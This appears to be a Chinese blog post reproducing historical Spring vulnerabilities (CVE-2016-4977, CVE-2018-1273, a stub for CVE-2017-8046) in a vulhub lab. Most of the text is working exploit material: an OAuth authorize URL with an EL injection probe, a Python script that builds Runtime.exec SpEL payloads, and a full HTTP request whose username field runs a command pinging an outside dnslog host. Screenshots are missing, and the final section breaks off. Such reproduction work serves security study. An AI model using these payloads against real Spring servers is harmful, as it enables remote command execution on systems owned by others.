Spring 歷史漏洞復現


1.Spring Security OAuth2.0 (CVE-2016-4977)

這個洞是由於Spring Security OAuth2.0的功能,在登錄成功之后由於response_type不存在顯示在Whitelabel Error Page上存在EL表達式注入漏洞

測試地址:http://127.0.0.1:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

基本上使用了Spring Security OAuth2.0 默認路徑就是這個了

 

 

 

 

 

 難受之處在於必須登錄成功,不然直接就認證失敗了。

再看下執行命令 "ping 0hb8tu.dnslog.cn"

 

 

 

 

 

 

生成poc的腳本:
#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

print(poc)

 

使用方法:

 

 

 

 

Spring Data Commons 遠程命令執行漏洞(CVE-2018-1273)

Spring Data是一個用於簡化數據庫訪問,並支持雲服務的開源框架,Spring Data Commons是Spring Data下所有子項目共享的基礎框架。Spring Data Commons 在2.0.5及以前版本中,存在一處SpEL表達式注入漏洞,攻擊者可以注入惡意SpEL表達式以執行任意命令。

依然是使用vulhub復現:
POST /users?page=&size=5 HTTP/1.1
Host: xx.xx.xx.xx:8080
Content-Length: 54
Cache-Control: max-age=0
Origin: http://10.154.110.127:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://10.154.110.127:8080/users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("ping j603y6.dnslog.cn")]=jinqi&password=123456&repeatedPassword=123456

 

 

 

利用難度較低

 

 

Spring Data Rest 遠程命令執行 CVE-2017-8046

PATCH方法


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM